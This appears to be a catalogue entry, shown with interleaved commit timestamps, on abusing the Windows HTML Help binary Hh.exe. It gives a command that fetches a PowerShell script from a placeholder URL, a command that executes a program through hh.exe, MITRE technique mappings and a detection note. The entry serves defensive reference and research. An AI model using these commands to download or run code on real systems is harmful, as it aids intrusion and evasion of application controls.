2018-06-09 00:15:06 +02:00
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2018-09-24 21:59:43 +02:00
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Name: Hh.exe
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Description: Binary used for processing chm files in Windows
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Author: 'Oddvar Moe'
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2021-01-10 16:04:52 +01:00
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Created: 2018-05-25
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2018-06-09 00:15:06 +02:00
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Commands:
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- Command: HH.exe http://some.url/script.ps1
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Description: Open the target PowerShell script with HTML Help.
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2018-09-24 21:59:43 +02:00
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Usecase: Download files from url
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Category: Download
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Privileges: User
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MitreID: T1105
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MitreLink: https://attack.mitre.org/wiki/Technique/T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: HH.exe c:\windows\system32\calc.exe
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Description: Executes calc.exe with HTML Help.
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Usecase: Execute process with HH.exe
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Category: Execute
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Privileges: User
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MitreID: T1216
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MitreLink: https://attack.mitre.org/wiki/Technique/T1216
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-12-10 14:28:12 +01:00
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Full_Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\hh.exe
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- Path: C:\Windows\SysWOW64\hh.exe
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2021-01-10 16:04:52 +01:00
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Code_Sample:
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2018-09-24 21:59:43 +02:00
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- Code:
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Detection:
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- IOC: hh.exe should normally not be in use on a normal workstation
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
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Acknowledgement:
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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2021-01-10 16:04:52 +01:00
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---
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